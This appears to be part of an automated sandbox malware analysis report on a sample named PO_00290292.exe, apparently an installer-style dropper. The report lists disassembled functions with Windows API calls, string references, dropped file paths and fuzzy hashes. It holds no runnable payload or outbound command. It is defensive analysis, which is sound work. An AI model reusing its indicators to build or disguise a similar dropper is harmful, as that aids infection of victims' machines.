GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405F6E
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405FA6
SetFilePointer.KERNEL32(0040A588,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A588,00000000,[Rename],00000000,00000000,00000000), ref: 00405FFC
GlobalFree.KERNEL32(00000000), ref: 0040600D
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00406014

Part of subcall function 00405D53: GetFileAttributesW.KERNELBASE(00000003,00402E84,C:\Users\user\Desktop\PO_00290292.exe,80000000,00000003), ref: 00405D57
Part of subcall function 00405D53: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405D79

Strings

%ls=%ls, xrefs: 00405F1A
[Rename], xrefs: 00405F8E, 00405FA0
NUL, xrefs: 00405EB6

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %ls=%ls$NUL$[Rename]
API String ID: 222337774-899692902
Opcode ID: b79c81f05b1b833d126071e3cf8f1dbc038624686787cc5f02dad872694d8803
Instruction ID: 52ae09e4e2a5e81e4d5588e003ad531eff1fe7f7ae6e2de5146a23cae23f7ad9
Opcode Fuzzy Hash: b79c81f05b1b833d126071e3cf8f1dbc038624686787cc5f02dad872694d8803
Instruction Fuzzy Hash: EB315330241B19BBD2206B209D08F2B3A5CEF85758F15043BF942F62C2EA7CC9118EBD

Uniqueness

Uniqueness Score: -1.00%

Function 00406412 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406475
CharNextW.USER32(?,?,?,00000000), ref: 00406484
CharNextW.USER32(?,00000000,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 00406489
CharPrevW.USER32(?,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\PO_00290292.exe",00403391,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004035DE), ref: 0040649C

Strings

"C:\Users\user\Desktop\PO_00290292.exe", xrefs: 00406412
*?|<>/":, xrefs: 00406464
C:\Users\user\AppData\Local\Temp\, xrefs: 00406413

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PO_00290292.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-3491917242
Opcode ID: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction ID: c1b46f2de1f90aebbf911330ce555e940da56993e608f70b6a8db31027969b8c
Opcode Fuzzy Hash: 3235da6fa7aa45e9bf0ecdfd9fa5d30a804d535f67a6192059b6605710e04147
Instruction Fuzzy Hash: 5311C85680121299DB307B588C40AB7A2B8EF55754F52803FEDCA732C1E77C5C9286BD

Uniqueness

Uniqueness Score: -1.00%

Function 004042A9 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004042C6
GetSysColor.USER32(00000000), ref: 004042E2
SetTextColor.GDI32(?,00000000), ref: 004042EE
SetBkMode.GDI32(?,?), ref: 004042FA
GetSysColor.USER32(?), ref: 0040430D
SetBkColor.GDI32(?,?), ref: 0040431D
DeleteObject.GDI32(?), ref: 00404337
CreateBrushIndirect.GDI32(?), ref: 00404341

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction ID: 2a82f640caf94e13ad52f77eccc7f6a005bf570db5d4005cc44859485eb84fad
Opcode Fuzzy Hash: c443cadc41ebc586ff1270cf4c3a90a0d5c0685d314312a93ad56e7471fbb8ef
Instruction Fuzzy Hash: 9F215171600704ABCB219F68DE08B4BBBF8AF81714F04892DED95E26A0D738E904CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405E34: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405E4A

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 01588cc1e6d12b9eb48a34a041857950361e167f935f48975bd7f3d5c8a3ade6
Instruction ID: fbd7f9394f7a40dbbdef10ea3a20ac1ae57b35180e29dd1ddeb30b88b5afce05
Opcode Fuzzy Hash: 01588cc1e6d12b9eb48a34a041857950361e167f935f48975bd7f3d5c8a3ade6
Instruction Fuzzy Hash: 19510774D00219ABDF209F94CA88AAEB779FF04344F50447BE501B72E0D7B99982DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00402D9F Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402DBA
GetTickCount.KERNEL32 ref: 00402DD8
wsprintfW.USER32 ref: 00402E06

Part of subcall function 004052DD: lstrlenW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000,?), ref: 00405315
Part of subcall function 004052DD: lstrlenW.KERNEL32(00402E19,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402E19,00000000), ref: 00405325
Part of subcall function 004052DD: lstrcatW.KERNEL32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,00402E19), ref: 00405338
Part of subcall function 004052DD: SetWindowTextW.USER32(Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\,Remove folder: C:\Users\user\AppData\Local\Temp\nsp6601.tmp\), ref: 0040534A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405370
Part of subcall function 004052DD: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040538A
Part of subcall function 004052DD: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405398

CreateDialogParamW.USER32(0000006F,00000000,00402D04,00000000), ref: 00402E2A
ShowWindow.USER32(00000000,00000005), ref: 00402E38

Part of subcall function 00402D83: MulDiv.KERNEL32(00000000,00000064,000013DE), ref: 00402D98

Strings

... %d%%, xrefs: 00402E00

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 2598da54cc89f43c600d8ada73a31ae54370e6bdc16888383da25aa760d7781d
Instruction ID: 67f39cb704aca6262626a7976268bb3bb8a333bdab68892006d91dd8afb4411f
Opcode Fuzzy Hash: 2598da54cc89f43c600d8ada73a31ae54370e6bdc16888383da25aa760d7781d
Instruction Fuzzy Hash: 96016D70541614EBC721AB60EF4DA9B7A68AF00706B14417FF885F12E0CBF85865CBEE

Uniqueness

Uniqueness Score: -1.00%

Function 00404BA7 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404BC2
GetMessagePos.USER32 ref: 00404BCA
ScreenToClient.USER32(?,?), ref: 00404BE4
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404BF6
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404C1C

Strings

f, xrefs: 00404BF8

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction ID: 45e0f6331f39cfe7836e80c9775163861a3897288b26a0b158bc224782e9bc0b
Opcode Fuzzy Hash: 0086211f2de0e1ca33d279ef662edcfa4b2f35d2ca496e99dd6aa4820b9c6f7a
Instruction Fuzzy Hash: C9015271901218BAEB00DB94DD45FFEBBBCAF54711F10012BBA51B61D0C7B495018B54

Uniqueness

Uniqueness Score: -1.00%

Function 00401D56 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D59
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D66
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D75
ReleaseDC.USER32(?,00000000), ref: 00401D86
CreateFontIndirectW.GDI32(0040CDE0), ref: 00401DD1

Strings

Tahoma, xrefs: 00401DB7

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Tahoma
API String ID: 3808545654-3580928618
Opcode ID: 020d429652f6eb968a81cc61bdee73d82fb2a6d644655b906a561d6cebbfb8f5
Instruction ID: 9e8fd183d3d9d3ef172346538d4b27734d94fdc92d2c471f4f64b2fa811a60c8
Opcode Fuzzy Hash: 020d429652f6eb968a81cc61bdee73d82fb2a6d644655b906a561d6cebbfb8f5
Instruction Fuzzy Hash: F601A271544641EFEB016BB0AF4AF9A3F75BB65301F104579F152B61E2CA7C0006AB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00402D04 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402D22
wsprintfW.USER32 ref: 00402D56
SetWindowTextW.USER32(?,?), ref: 00402D66
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402D78

Strings

unpacking data: %d%%, xrefs: 00402D44
verifying installer: %d%%, xrefs: 00402D4B, 00402D54

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction ID: 006a23aec332b8a1771af90dfa9c1e08c84c5b856183a3bf167901723993fe13
Opcode Fuzzy Hash: f920e2d473a8442ab140d7cb001c2dea54e1cd42605ecc10fb631262ba466dce
Instruction Fuzzy Hash: 2FF0367050020CABEF206F50DD49BEA3B69FF44305F00803AFA55B51D0DBF959558F59

Uniqueness

Uniqueness Score: -1.00%

Function 00402840 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 00402894
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004028B0
GlobalFree.KERNEL32(?), ref: 004028E9
GlobalFree.KERNEL32(00000000), ref: 004028FC
CloseHandle.KERNEL32(?), ref: 00402914
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402928

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: Global$AllocFree$CloseDeleteFileHandle
String ID:
API String ID: 2667972263-0
Opcode ID: 268536b817805fd7c6aa0ddf0c0313c96854f1d95891718e15f9d7c13f840f6f
Instruction ID: 9003099e8900d80eaa65f9bf21adae6f43ee9946aaa6f9d478ae9c17af360c06
Opcode Fuzzy Hash: 268536b817805fd7c6aa0ddf0c0313c96854f1d95891718e15f9d7c13f840f6f
Instruction Fuzzy Hash: D6216F72801118BBCF216FA5CE49D9E7F79EF09364F24423AF550762E0CB794E419B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404A99 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404B3A
wsprintfW.USER32 ref: 00404B43
SetDlgItemTextW.USER32(?,00423728), ref: 00404B56

Strings

%u.%u%s%s, xrefs: 00404B24
(7B, xrefs: 00404B2C

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$(7B
API String ID: 3540041739-1320723960
Opcode ID: 97f8edb7a0e5a20212aa5a449d05d7effc420c8931a1b74a790ae22a69f051c3
Instruction ID: 8555a1dc09e6b234f76c08cd80d60a8511de1cbf1cdbca66d7a603e4fd23a7b2
Opcode Fuzzy Hash: 97f8edb7a0e5a20212aa5a449d05d7effc420c8931a1b74a790ae22a69f051c3
Instruction Fuzzy Hash: E911EB736441283BDB0095AD9C45F9E3298DB85378F150237FA26F71D1DA79D82286EC

Uniqueness

Uniqueness Score: -1.00%

Function 00402537 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67stringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,000000FF,practical,00000400,?,?,00000021), ref: 00402583
lstrlenA.KERNEL32(practical,?,?,C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini,000000FF,practical,00000400,?,?,00000021), ref: 0040258E

Strings

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Fiberstoffet90\cellists.ini, xrefs: 0040257C
practical, xrefs: 00402552, 00402575, 00402589, 004025D5

Memory Dump Source

Source File: 00000000.00000002.1727839782.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1727827366.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727852452.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000430000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1727865186.000000000047F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1728055667.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PO_00290292.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
